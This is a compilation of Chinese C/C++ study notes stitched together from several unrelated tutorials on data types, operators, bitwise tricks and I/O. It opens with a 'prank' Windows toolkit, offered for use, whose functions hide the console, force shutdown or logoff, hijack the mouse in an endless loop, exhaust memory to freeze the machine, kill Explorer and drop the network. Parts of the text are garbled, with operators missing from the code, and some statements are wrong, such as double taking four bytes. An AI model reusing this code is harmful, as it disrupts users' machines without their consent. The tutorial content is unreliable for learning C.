接下来给大家一些使用示范：

system("shutdown -s");//关机

shutdown(等待秒数,类型(1：关机，2：重启，3：注销))

Currur(移动鼠标的次数（1进入死循环）)

Hide()   隐藏控制台

Icon(x坐标, y坐标, 类型（1：错误图标，2：感叹号图标，3：应用程序图标）)

Die()  卡死

Shutdown_Go()  打开远程攻击控制台

explore()    不可打开资源管理器

release()    断开网络

Make_Text("文件名字（包括后缀）","内容")   创建文件

color(颜色)

样本是这样的：

#include <bits/stdc++.h>

#include <conio.h>

#include <windows.h>

using namespace std;

void Make_Text(string same, string name)

{

//HWND hWnd = GetConsoleWindow();

//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

ofstream outfile(same,ios::out);

if (!outfile)

{

cerr<<"open error"<<endl;

}

outfile<<name;

outfile.close();

}

//主机的好管理

void shutdown(int x, int y)

{

Sleep(x * 1000);//等待n秒

if(y == 1)

system("shutdown -p");//关机

if(y == 2)

system("shutdown -s -r 0");//重启

if(y == 3)

system("shutdown -l");//注销

}

//鼠标指针的好管理

void Currur(int q)

{

int x = GetSystemMetrics(SM_CXSCREEN);

int y = GetSystemMetrics(SM_CYSCREEN);

srand(time(0));

if (q == 1)//当q为1时，进入死循环。

while(1)

SetCursorPos(rand() % x, rand() % y);

else{//乱移鼠标的线程

while(q){

SetCursorPos(rand() % x, rand() % y);

q--;

}

}

}

//控制台的好管理

void Hide()

{

HWND s;

s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄

if (s) {

ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口

ShowWindow(s, SW_HIDE);//隐藏窗口

}

}

//图标的好管理

void Icon(int x, int y, int n)

{

FreeConsole();

HWND hwnd = GetDesktopWindow();

HDC hdc = GetWindowDC(hwnd);

POINT point;

while(1)

{

GetCursorPos(&point);//锁定鼠标位置

if(n == 1)//错误图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));

if(n == 2)//感叹号图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));

if(n == 3)//应用程序图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));

}

}

//卡死

void Die()

{

while(1)

{

new char;

malloc(INT_MAX);

}

}

//远程攻击

void Shutdown_Go()

{

system("shutdown /i");

}

void color (int a) {

if (a 0 || a 14 || a == 20) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a 1 || a 12) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 2) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN);

} else if (a == 3) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);

} else if (a 4 || a 11) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED);

} else if (a 5 || a 13) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);

} else if (a == 7) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 15) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);

} else if (a == 16) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);

} else if (a == 17) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);

} else if (a == 8) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 6) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_BLUE);

} else if (a == 9) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);

}

}

void explore()//不可打开资源管理器

{

system("taskkill /im explore.exe /f");

}

void release()//断开网络

{

system("ipconfig /release");

}

//以上是部分本人整理网络来源资料所得，非完全原创，也非搬运

必须清楚

1.程序结构是3种：顺序结构、循环结构（三种循环结构）、选择结构（if和switch）。
2.读程序都要从main()入口，然后从最上面顺序往下读（碰到循环做循环，碰到选择做选择）。
3.计算机的数据在电脑中保存是以二进制的形式，数据存放的位置就是它的地址。
4.bit是位，是指为0或者为1，byte是指字节，一个字节=八个位。
5.常考概念：
（1）编译预处理不是c语言的一部分，不占运行时间。C语言编译的程序称为源程序，它以ASCII数值存放在文本文件中。
（2）每个C语言程序中main函数是有且只有一个。
（3）在函数中不可以再定义函数，但可以调用函数（嵌套调用、递归调用）。
（4）算法是一定要有输出的，他可以没有输入。
（5）break可用于循环结构和switch语句。
（6）逗号运算符的级别最低。

第一章

1.合法的用户标识符考查：
（1）合法的要求是由字母、数字、下划线组成，有其它元素就错了。
（2）并且第一个必须为字母或者是下划线，第一个为数字就错了。
（3）关键字不可以作为用户标识符号。main define scanf printf都不是关键字。
（4）迷惑你的地方：If是可以作为用户标识符，因为If中的第一个字母大写了，所以不是关键字。
2.字符数据的合法形式：
‘1’是字符占一个字节，"1"是字符串占两个字节（含有一个结束符号）。

3.整型一般是两个字节，字符型是一个字节，双精度一般是四个字节。
4.转义字符的考查：
（1）在程序中int a=0x6d，是把一个十六进制的数给变量a，注意这里的0x必须存在。
（2）在程序中int a=06d，是一个八进制的形式。
（3）在转义字符中，“\x6d”才是合法的，0不能写，并且x是小写。“、141”是合法的，0是不能写的。“\108”是非法的，因为不可以出现8。
5.算数运算符的优先级别：
同级别的有的是从左到右，有的是从右到左。
6.强制类型转换
一定是（int）a不是int (a)，注意类型上一定有括号的。注意（int）（a+b）和（int）a+b的区别。前者是把a+b转型，后者是把a转型再+b。
7.表达式的考查：
（1）赋值表达式：a=b=5；常量不可以赋值；自加自减表达式，如a=5，++a（是为6），a++（为5）；
++在前先加后用，++在后先用后加。
（2）逗号表达式：优先级别最低，表达式的数值逗号最右边的那个表达式的数值。（2,3,4）的表达式的数值就是4。

第二章

1.printf函数的格式考查：

2.scanf函数格式的考查：
注意该函数的第二个部分是&a这样的地址，不是a；

scanf("%d%d%*d%d",&a,&b,&c); //跳过输入的第三个数据

3.putchar，getchar函数的考查：
4.实现两个变量x，y中数值互换
不可以把x=y，y=x；要用中间变量t=x，x=y，y=t。
5.如何实现保留三位小数，第四位四舍五入的程序。
注意x=（int）x这样是把小数部分去掉。

第三章

1.关系表达式
（1）表达式的数值只能为1（表示为真）或0（表示假）
（2）当关系的表达式为真的时候得到1。如9>8这个是真的，所以表达式的数值就是1。
2.逻辑表达式
只能为1（表示为真）或0（表示假）
（1）三种逻辑运算符号：&& || ！
（2）优先的级别：!>&&> ||
（3）表示x是比0大，比10小的方法：（0<x）&&(x<10)
注：0<x<10是错的。
3.if语句
else是与最接近的if且没有else的相组合的。
4.条件表达式：
表达式1？表达式2 表达式3
注意是当非0时候是表达式2的数值，当为0时就是表达式3的数值。
5.switch语句：
（1）注意有break和没有break的区别，没有break时，只要有一个case匹配了，剩下的都要执行，有break则是直接跳出了switch语句。
（2）switch只可以和break一起用，不可以和continue用。

第四章

1.三种循环结构
（1）for()：循环中必须是两个分号
（2）while()
（3）do while()循环的最后一个while()；的分号一定不能丢
注意：循环一定要有结束的条件，否则成了死循环。
2.break和continue的区别
（1）break：（破了整个循环）退出一层循环；
（2）continue：（继续循环运算），但是要结束本次循环，就是循环体内剩下的语句不再执行，调到循环开始，然后判断循环条件，进行新一轮的循环。
3.嵌套循环

第五章 函数

函数：具有一定功能的一个程序块。
1.函数的参数、返回数值

main()
{  int a=5,b=6,c;
   c=add(a,b);
   printf("%d",c);}

调用函数a，b是实参，整个函数得到一个数值就是add函数返回数值。
2.一定要注意参数之间的传递
实参和形参之间传数值和传地址的差别：传数值的话，形参的变化不会改变实参的变化；传地址的话，形参的变化就会有可能改变地址的变化。
3.函数声明的考查：
一定要有：函数名、函数的返回类型、函数的参数类型；
不一定要有：形参的名称。
函数声明与函数定义不同：
函数定义必须有：函数名、函数的返回类型、函数的参数类型、形参的名称。

第六章 指针

1.指针变量的本质是用来放地址，而一般的变量是放数值的。
2.int p中p和p的区别：
*p可以当做变量来用；*的作用是取后面地址p里面的数值p是当做地址来用的。
3.*p++和(*p)++之间的区别：
前者是地址会变化，后者是数值会变化。
4.三名主义：
（1）数组名：表示第一个元素的地址。数组名不可以自加，它是地址常量名。
（2）函数名：表示该函数的入口地址。
（3）字符串常量名：表示第一个字符的地址。

第七章 数组

一维数组
1.a[10]
（1）a表示数组名，是第一个元素的地址，也就是a[10]的地址。
（2）a是地址常量，所以只要出现a++，或者a=a+2赋值的都是错误的。
（3）a是一维数组名，所以它是列指针，也就是说a+1是跳一列。
二维数组
2.a[3][3]
（1）a表示数组名，是第一个元素的地址，也就是a[10]的地址。
（2）a是地址常量，所以只要出现a++，或者a=a+2赋值的都是错误的。
（3）a是二维数组名，所以它是行指针，也就是说a+1是跳一行。
（4）a[0]、a[1]、a[2]也都是地址常量，不可以对他进行赋值操作，同时它们都是列指针，a[0]+1、a[1]+1、a[2]+1都是跳一列。
注意：a和a[0]、a[1]、a[2]是不同的，它们的基类型是不同的。前者是一行元素，后三者是一列元素。
如a3[3][3]={1,2,3,4,5,6,7,8,9}
（1）(a[0]+1)：第一行的第一个元素往后面跳一列，即为a[0][1]元素，所以是2；
（2）(a[1]+2)：即为a[1][2]为6。
二维数组写成以上形式会比较简单。
3.数组的初始化
一维的可以不写，二维第二个一定要写。
例：int a[]={1,2}合法；int a[][4]={2,3,4}合法；int a[4][]={2,3,4}不合法。

第八章 结构体

1.什么是结构体？
结构体是一种工具，用这个工具用户可以定义自己的数据类型。同时，结构体属于一种构造数据类型。
2.结构体与数组的比较：
（1）都由多个元素组成；
（2）各个元素在内存中的存储空间是连续的；
（3）数组中各个元素的数据类型相同，而结构体中各个元素的数据类型可以不相同。
3.结构体的定义和使用
（1）一般形式：

三元运算符格式：

Exp1 ? Exp2 : Exp3;

? 表达式的值是由 Exp1 决定的。如果 Exp1 为真，则计算 Exp2 的值，结果即为整个表达式的值。如果 Exp1 为假，则计算 Exp3 的值，结果即为整个表达式的值。

示例代码：

#include<stdio.h>
int main()
{
    /*三元运算符*/
    int num;
    printf("输入一个整数: ");
    scanf("%d",&num);//获取用户输入的信息
    (num%2==0) ? printf("%d是偶数",num) : printf("%d是奇数",num);
    return 0;
}

运行结果：

输入一个整数: 6
6是偶数

例子：

#include <stdio.h>
int main()
{
    int A=10;
    int B=20;
    char buy;
    int sum,number;
    printf("商品清单：\n A 商品10元/个 \n B 商品20元/个 \n");
    printf("请输入要购买的商品(A 或 B):");
    scanf("%c",&buy);
    printf("请输入购买数量：");
    scanf("%d",&number);
    sum=((buy=='A') ? (A*number) : (B*number)) ;
    printf("\n购买的%d个%c商品共计%d元。\n",number,buy,sum);
    return 0;
}

运行结果：

商品清单：
 A 商品10元/个
 B 商品20元/个
请输入要购买的商品(A 或 B):B
请输入购买数量：2

购买的2个B商品共计40元。

1.变量和常量的定义与使用方法

（1）.常量：值不发生变化的量

字面常量：直接常量（常数）

包括：整型常量>>>>>>>>>12、0

实型常量>>>>>>>>>4.6、1.23

字符常量>>>>>>>>>"a"

符号常量：标识符、符号常量

标识符：程序中使用的各种名称（变量名、数组名、函数名、符号常量名)

标识符由字母、数字和下划线组成的一串符号，但是必须以英文字母或下划线开头。不允许使用关键字作为用户 标识符的名称。

c语言的标识符可分为关键字、预定义标识符、用户标识符

关键字>>>c语言规定的具有固定含义的标识符，也称保留字，均为小写字母int、while

预定义标识符>>>在c语言中有特定的含义，如printf、include

用户标识符>>>由用户根据需要定义的标识符，一般用来给变量、函数、数组等命名

符号常量：也称宏常量，由c语言中的宏定义预处理命令来定义

#define 符号常量 常量

习惯上用大写字母作为符号常量的标识符

（2）.变量：值可以变化的量（先定义、后使用）

类型标识符 变量名1，变量名2，.....;

在定义变量的同时也可对变量赋初值>>>>>变量的初始化

变量定义语句可放在函数体内的前部，也可放在函数的外部或复合语句的开头

2.数据类型及其定义方法（基本类型、构造类型、指针类型、空类型）

基本类型：就是最简单的类型：如int 。char、double等。

构造数据类型：构造数据类型是根据已定义的一个或多个数据类型用构造的方法来定义的。一个构造类型的值可以分解成若干个“成员”或“元素”。每个“成员”都是一

基本数据类型或又是一个构造类型。构造类型有以下几种：结构体、共用同、联合体、类等。

指针类型：指针是一种特殊的，同时又是具有重要作用的数据类型。

空类型：即void类型。

3.整型、实型、字符型数据的定义、存储、表示范围及运用

（1）.整型数据

定义：整型数据是不包含小数部分的数值型数据，用字母I表示。整型数据只用来表示整数，以二进制形式存储。

存储：以补码形式存储

原码、反码、补码：

（2）.实型数据

定义：实型数据也称为浮点数或实数。在C语言中，实数只采用十进制。它有二种形式：十进制小数形式和指数形式。

（十进制小数形式：必须有小数点

指数形式：尾数（可带符号）、阶码标志e或E、阶码（只能为整数，可带符号）>>>0.5E7）

实型变量分为：单精度（float型）>>>>4个字节、双精度（double型）和长双精度（long double型）>>>>8个字节 三类。

存储形式：float型（32位）

double型（64位）

（3）.字符型数据

定义：字符

字符常量：用单引号括起来的一个字符，如'a'、'w',每个字符常量都占一个字节

只能用单引号括起来，不能用双引号或其他括号

字符常量是单个字符，对大小写敏感，空格也是一个字符

（区别于字符串："a"、"ac"由双引号括起来)

转义字符：

字符串常量：由一对双引号括起来的字符序列，如"china"

字符串常量的内存字节数等于字符串中字符数+1，增加的一个字节是由系统自动存入的字符'\0'，作为字符串结束的标志

字符变量：用于存放单个字符变量，使用关键字char来定义

char optr；

4.变量赋初值

类型说明符 变量1= 值1, 变量2= 值2, ……;

5.不同类型数据间的转换与运算

（1）.算术转换

当自动转换用于算术运算时>>>>算术转换

转换原则：自动将精度低、表示范围小的运算对象类型向精度高、表示范围大的运算对象类型转换

char、short>>>>int>>>>unsigned int>>>>long>>>>unsigned long>>>>float>>>>double

（2）.赋值转换

在赋值运算中，只有在赋值号右侧表达式的类型与左侧类型完全一样时，才能进行赋值转换（赋值号右边的值不能超过左边变量的数值范围）

6.算术运算符、赋值运算符、逗号运算符及其表达式的运用

（1）.算术运算符

基本算术运算符：+、-、*、/（加减乘除）、%（求余）

【+、- >>>>>作单目运算符时表正负号 >>>>>作双目运算符时表加减

% >>>>>运算符两边必须为整型，且所得结果的符号和被除数相同】

算术运算符的优先级：圆括号优先级最高>>>单目运算符>>>双目运算符

算术表达式：算术表达式是由常量、变量、函数、圆括号、运算符等组成。一个常量、一个变量（已赋过值）、一个函数都是合法的表达式。

自增、自减运算符 >>>>>单目运算符 >>>>>自右向左结合

i++ >>>先使用再加1 ++i >>>先加1再使用（i--、--i同理）

（2）.赋值运算符

“=” >>>赋值运算符，双目运算符，左边必须是变量，右边必须是表达式，具有自右向左的结合性，优先级只高于逗号运算符，比其他任何运算符优先级都低

复合赋值运算符：

赋值表达式：

（3）.逗号运算符

表达式1，表达式2，.......

在所有运算符中优先级最低，结合性是从左向右

一、前言

这篇文章作为基础知识点，总结C语言的基本数据类型有哪些，浮点数的精度，整数变量的空间范围，变量定义语法，变量命名规则，浮点数打印格式，基本数据类型printf对应的打印、位运算的知识点。

二、变量的定义语法与数据类型

<数据类型> <变量名称>;

例如: int a;

数据类型可以填哪些？
int、char、float、double、long、short 

每个数据类型有什么区别？
int 用来存放整型数据。比如: 123、456、-678
char 用来字符和整型数据。比如：123、2、5、'A'、'K'
float 用来浮点数类型的数据(单精度)。比如: 12.34 、12.0 、 56.789
double 用来浮点数类型的数据(双精度)。
long 用来存放整型数据。
short 用来存放整型数据。

int、char、short..都可以存放整型，具体有什么区别？
每个数据类型所占用的空间大小不一样。
int 类型 占4个字节
char类型 占1个字节
short类型占2个字节

int、char、short..都可以存放整型，具体能存放多大的数据？
因为整数的有负数的，所以程序里数据类型分为有符号和无符号。
无符号的关键字: unsigned
比如: int类型定义就有以下方式
unsigned int a; //表示不存放符号位，4个字节=32位，全部存放有效数据。 最大值: 0~4294967295
int a; //表示存放符号位，4个字节=32位，除了最高位其他位存放有效数据。 最大值: -2147483646  ~ +2147483647
unsigned char b; //存放的数据范围: 1个字节=8位    存放范围:0~255　　　0x00 ~ 0xFF
char b;//存放的数据范围: 1个字节=8位    存放范围: -128  -  +127  

float,double ..都可以存放浮点数，具体的区别？
float 存放单精度浮点数.  占空间4个字节。精确到小数点后6位。
double 存放双精度浮点数. 占空间8个字节。精确到小数点后10位。

unsigned 关键字可以声明哪些数据类型？ 只能声明整型。 unsigned char 、 unsigned int 

<变量名称>  是如何命名的？有什么要求？
变量名的首字母必须是: 字母或者是_ (下划线)、 首字符之后可以是数字。
命名规则: 'A'到'Z' 'a' 到 'z'  '0'到'9'  '_'
后面函数名称、数组的名称、结构体......都遵循该命名规则。

变量名称有没有长度限制？ 一般限定32个字符。

示例代码验证结果

#include <stdio.h>
int main(int argc,char *argv[])
{   
    unsigned char a=256;
    char b=128;
    printf("a=%d\n",a); //0
    printf("b=%d\n",b);//-128
    return 0;
}

#include <stdio.h>
int main(int argc,char *argv[])
{   
    printf("int=%d\n",sizeof(int));  //4字节
    printf("unsigned int=%d\n",sizeof(unsigned int)); //4字节
    printf("float=%d\n",sizeof(float)); //4字节
    printf("short=%d\n",sizeof(short)); //2字节
    printf("double=%d\n",sizeof(double)); //8字节
    printf("char=%d\n",sizeof(char)); //1字节
    printf("123=%d\n",sizeof(123));//4字节
    return 0;
}

三、整数、浮点数格式前缀和打印格式

#include <stdio.h>
int main(int argc,char *argv[])
{   
    int a=7;     //十进制
    int b=0x7;   //十六进制
    int c=07;   //8进制
    int d=0b0111; //二进制   gcc是支持。
    printf("%d\n",a);
    printf("%d\n",b);
    printf("%d\n",c);
    printf("%d\n",d);
    return 0;
}

#include <stdio.h>
int main(int argc,char *argv[])
{   
    unsigned int a=100;
    int b=200;
    float c=12.34;
    double d=456.789;
    long f=456;

    printf("%u\n",a);
    printf("%d\n",b);
    printf("%.2f\n",c);
    printf("%.3f\n",d);
    printf("%ld\n",f);
    return 0;
}

#include <stdio.h>
int main(int argc,char *argv[])
{   
    printf("%10d\n",123);  //左补齐空格
    printf("%-10d,%d\n",123,456);  //右边补齐空格
    return 0;
}
#include <stdio.h>
int main(int argc,char *argv[])
{   
    printf("%#x\n",255);  //16进制
    printf("%#d\n",255);  //10进制
    printf("%#o\n",255); //八进制
    return 0;
}

四、位运算知识点

位运算:　~ 按位取反、| 按位或  & 按位与  >>按位右移  <<按位左移   ^异或运算
逻辑运算符: || 逻辑或  && 逻辑与   !逻辑非  （逻辑只有真假 0和1  非0即为真）

~ 按位取反的规则:  0为1、1为0
例如:  
unsigned char a=0x38;
00111000
11000111
~a等于11000111

| 按位或的规则:  有1为1，全0为0
& 按位与的规则:  有0为0，全1为1
>>按位右移的规则: 低位溢出、高位补0
<<按位左移的规则: 高位溢出，低位补0
^异或运算的规则: 相同为0 不同为1

系列文章目录

文章目录

• 系列文章目录
• 前言
• 一、定义函数
• • • 1.定义无参函数
    • 2.定义有参函数
    • 3.定义空函数
• 二、调用函数
• • • 1.函数调用的形式
  • 2.

前言

函数就是用来完成一定的功能，函数就是功能，每一个函数用来实现一个特定的功能。
常见的就是主函数 ，main函数。

提示：以下是本篇文章正文内容，下面案例可供参考

一、定义函数

在C程序中用到的函数，必须先定义后使用
对于C提供的库函数，无需自己定义，只需要用#include指令把有关头文件包含到本文件模块中，在有关头文件中包含了对函数的声明。
#include<stdio.h>

1.定义无参函数

类型名 函数名()
{
函数体
}
或者
类型名 函数名(void)
{
函数体
}
void表示空，即没有参数。
函数体包含声明部分和语句部分。

2.定义有参函数

以下定义的max函数是有参函数：

int max(int x,int y)
{int z;
z=x>y?x:y;          //执行语句部分
return(z);
}

定义有参函数一般形式为：
类型名 函数名(形式参数表列)
{
函数体
}

3.定义空函数

形式：
类型名 函数名()
{ }
例如：
void dummy()
{ }

二、调用函数

定义函数的目的就是为了调用函数。

1.函数调用的形式

print_star(); //调用无参函数
c=max(a,b);//调用有参函数

　　位运算是指按二进制进行的运算。在系统软件中，常常需要处理二进制位的问题。C语言提供了6个位操作运算符，这些运算只能用于整型操作数，即只能用于带符号或无符号的char、short、int与long类型。浮点数因为浮点型和整型在计算机内的存储方式大相径庭，同样是32位。但是浮点数是1位表示符号位，23位表示数值部分，8位其他表示指数部分。而整型只是单纯32位补码形式存放的，这就是位运算不能用于浮点数的原因。
1、“按位与”运算符（&）
　　按位与是指:参加运算的两个数据，按二进制进行“与”运算。如果两个相应的二进制位都位1，则该位的结果为1；否则为0。这里的1的可以理解为逻辑中的true，0可以理解为逻辑的false。按位与其实与逻辑上“与”的运算规则一致。逻辑上的“与”，要求运算数全真，结果才为真。若A=true， B=true，则A∩B=true 例如：3&5， 3的二进制编码是11(2)。（为了区分十进制和其他进制，本文规定，凡是非十进制的数据均在数据后面加上括号，括号中注明其进制，二进制则标记为2，内存储存数据的基本单位是字节(Byte)，一个字节由8个位(bit)所组成。位是用以描述电脑数据量的最小单位。二进制系统中，每个0或1就是一个位。将11(2)补足成一个字节，则是00000011(2)。5的二进制编码是101(2)，将其补足称一个字节，则00000101(2)。
按位与运算：
0000 0011(2) & 000000101(2) = 00000001(2)
由此可知3&5 = 1。

C语言代码：

1 #include <stdio.h>
2 
3 int main(void) {
4     int a = 3, b = 5;
5     printf("a and b: %d\n", a & b); //0011 & 0101
6     return 0;
7 }

CPU处理位运算的速度是最快的，所以很多操作我们都可以转换为位运算，以下是用按位与替换取模运算进行奇偶数判断。

 1 /*************************************************************************
 2     > File Name: 2.test.c
 3     > Author: yudongqun
 4     > Mail: qq2841015@163.com
 5     > Created Time: Sun 18 Oct 2020 10:19:55 PM CST
 6  ************************************************************************/
 7 #include <stdio.h>   
 8                         
 9 int main(void) {        
10     int n;              
11     printf("please input a integer:");
12     while (scanf("%d", &n) != EOF) {
13         //if(n % 2) {
14         if (n & 1) {                                                                                                                  
15            printf("Odd number\n"); //奇数
16         } else {        
17           printf("Even number\n");//偶数
18         }               
19         printf("please input a integer:");
20     }                   
21     return 0;           
22 } 

编译运行，并输入数字来测试，结果如下：

ydqun@VM-0-9-ubuntu 20201017 % g++ 2.test.c                                                                                       [0]
ydqun@VM-0-9-ubuntu 20201017 % ./a.out                                                                                            [0]
please input a integer:3
Odd number
please input a integer:2
Even number
please input a integer:%                                                                                                              
ydqun@VM-0-9-ubuntu 20201017 %    

14行就是用&运算符去代替%运算符实现奇偶数判断，这样效率更快。

2.按位或运算符　

两个相应的二进制位中只要有一个为1，该位的结果值为1。借用逻辑学中或运算的话来说就是，一真为真。

例如 十进制6对应二进制0000 0110与8对应的二进制0000 1000进行或运算，0000 0110 | 0000 1000 = 0000 1110，对应十进制的14。

测试的c语言代码。

 1 /*************************************************************************
 2     > File Name: 3.test.c
 3     > Author: yudongqun
 4     > Mail: qq2841015@163.com
 5     > Created Time: Mon 19 Oct 2020 05:14:44 PM CST
 6  ************************************************************************/
 7 
 8 #include <stdio.h>
 9 
10 int main(void) {
11     int n = 8, m = 6;
12     printf("%d | %d = %d\n", n, m, n | m);
13     return 0;
14 }

3.异或运算　

    异或是一个数学运算，用于逻辑运算。如果a、b两个值不同，则异或结果为1，否则结果为0，在C语言中是一种强大的基本运算符，有很多巧妙的应用。

例如, A = 14, B = 10;

A = 14，二进制则为1110，B = 10，二进制为1010.

对二进制数进行异或运算 -> 1110^1010 = 0100，对应十进制就为4。

在二进制数异或过程中，我们可以得知异或运算是一种半加运算。什么意思呢？半加即不带进位的加法运算。

如上面1110^1010 = 0100，如果在加法中，如下

 我们从低位开始加起，首先第0位为0+0=0；第一位1+1=0，如果是加号运算符，则需要进位，但由于是异或运算（半加），故不用进位，第二位为1+0=1；最后一位为1+1=0。最终结果就是0100，这就是半加的过程。

特性

　　1.一个数与0进行异或运算，其运算结果是自身；

　　2.一个数与自身进行异或运算，其运算结果为0；

　　3.异或运算满足分配律，即 3^4^3与3^3^4的结果一样，都为4。

异或运算的一些应用

1.异或最常用的一种用法 -- 交换两个数的值。

　　这里直接上代码。

 1 /*************************************************************************
 2     > File Name: swap.c
 3     > Author: yudongqun
 4     > Mail: qq2841015@163.com
 5     > Created Time: Fri 16 Oct 2020 04:48:54 PM CST
 6  ************************************************************************/
 7 
 8 #include <stdio.h>
 9 
10 int main(void) {
11     int a = 10, b = 20, tmp;
12 
13 #if 0
14     /*用中间值来实现值交换*/
15     tmp = a;
16     a = b;
17     b = tmp;
18 #else
19     /*用异或操作来实现值交换*/
20     a ^= b;
21     b ^= a;
22     a ^= b;
23 #endif
24     printf("a: %d, b: %d\n", a, b);
25 
26     return 0;
27 }

ydqun@VM-0-9-ubuntu operator % gcc swap.c                                                                  [0]
ydqun@VM-0-9-ubuntu operator % ./a.out                                                                     [0]
a: 20, b: 10
ydqun@VM-0-9-ubuntu operator %

这里异或操作实现的值交换的好处是少使用了一个临时变量，执行效率也比较高。

2，寻找只出现一次的数字。

给定一个非空整数数组，除了某个元素只出现一次以外，其余每个元素均出现两次。找出那个只出现了一次的元素。

说明：

你的算法应该具有线性时间复杂度。 你可以不使用额外空间来实现吗？

示例 1:

输入: [2,2,1]
输出: 1

示例 2:

输入: [4,1,2,1,2]
输出: 4

 1 /*************************************************************************
 2     > File Name: single_number.c
 3     > Author: yudongqun
 4     > Mail: qq2841015@163.com
 5     > Created Time: Fri 16 Oct 2020 05:20:25 PM CST
 6  ************************************************************************/
 7 
 8 #include <stdio.h>
 9 
10 int single_number(int nums[], int n) {
11     int res = 0;
12     for (int index = 0; index < n; index++) {
13         res ^= nums[index];
14     }
15     return res;
16 }
17 
18 int main(void) {
19     int nums[5] = {1, 2, 2, 1, 6};
20     printf("single number is : %d\n", single_number(nums, 5));
21 }

ydqun@VM-0-9-ubuntu operator % g++ single_number.c                                                         [0]
ydqun@VM-0-9-ubuntu operator % ./a.out                                                                     [0]
single number is : 6
ydqun@VM-0-9-ubuntu operator %  

这里是运用了异或的特性2与特性3，1^2^2^1^6 = 1^1^2^2^6 = 0^0^6 = 6。

基础知识

　　C语言中所有输入输出都用流(stream)完成。流按行组织字符序列，每一行用一个换行符结束。至少3种流与程序连接：stdin，stdout，stderr。一个流是内存中的一个缓冲区，程序运行中输入输出数据都被收集在相应缓冲区中。

字符数据的输入

　　1.输入单字符函数getchar：从标准输入流stdin中当前读入位置读入一个字符(包括空格、\n、Tab)，读取成功返回该字符编码，出错或遇到EOF则返回-1。成功读入后stdin当前读入位置自动后移一个字符。

　　2.getchar是带参数的类函数宏定义：

#define getchar() getc(stdin)

字符数据的输出

　　1.输出单字符函数putchar：将程序中的一个字符的编码不加处理地送到标准输出流stdout的当前输出位置，并把对应的符号显示在屏幕上。正确时返回送出的字符编码，出错时返回-1。成功后将stdout当前位置后移一个字符。

　　2.putchar是带参数的类函数宏定义：

#define putchar(c) putc(c,stdout)

　　3.参数总是按无符号整数解释。在0~255之外的值按256取模。

//输出换行符
putchar('\n');
putchar('\12');
putchar('\xa');

格式化输出

　　1.格式化输出函数printf：将调用时给出的输出项按指定的格式转换为字符序列送到stdout并在屏幕上显示。返回值为实际输出的字符个数。

printf(格式控制字符串,输出项表)

　　2.格式控制字符串包括转换说明(% 转换修饰符 转换说明符)和普通字符。这里不再赘述。

　　3.输出项表：由若干个输出项构成，各输出项之间用逗号分隔。

　　4.pritnf函数工作原理：待补充。

　　5.printf输出不同类型数据：待补充。

 格式化输入

　　1.格式化输入函数scanf：将从stdin读取的若干字符按格式字符串的转换说明转换为指定类型的数据，并保存到对应得输入项中。返回值为实际读入并成功转换的输入项个数。

scanf(格式控制字符串，输入项表)

　　2.格式控制字符串包括转换说明、普通字符和空白字符(空格、\n、Tab)。

　　关于空白字符的详细说明：待补充。

　　空白字符与普通字符：待补充。

　　3.输入项表：由若干地址组成，地址之间用逗号隔开。

　　4.scanf输入不同类型数据：待补充。

auto

变量的作用域：

• 变量可以作用的范围。一般都是花括号里面。

变量的生命周期：

• 变量从被创建到销毁所经历的时间。

可以认为局部变量都默认是auto的，但是你不写编译器也知道。该关键字几乎不用了。

register

当你使用register去修饰一个变量时，编译器会尽可能将该变量放在CPU的寄存器中而非内存中，所以CPU访问该变量的速度是很快的。
几点注意：

• 1，register修饰的最好是局部变量。因为全局变量会一直占用寄存器。
• 2，不会被写入。写入就要写回内存。那么该变量设为register就没有意义。
• 最好是高频读写的。
• 无法被&符号取地址。
• 不要被大量使用，因为寄存器有限。

为什么要有头文件

很多时候我们有这样的需求：在一个源文件中使用另一个源文件的函数或者变量。那么能不能直接使用呢？

• 函数可以，但是会警告，函数只要链接找到就可以。(只限于自己写的函数，想要使用库函数或者别的函数必须包含声明)。
• 而变量必须声明过才可以使用，且不能在声明的时候赋值。因为声明不开辟空间。

但是如果我有100个源文件，每个源文件都要使用同一个全局变量，那么怎么办呢？我难道要写100遍声明吗？

所以，一个好的处理方法就是，将这些声明提取到1个共用的文件中，以便于项目的维护。而这个文件就是头文件。而每个想要使用其中变量或者函数的源文件，只需要包含该头文件即可。

• 头文件包含的内容：
  

static

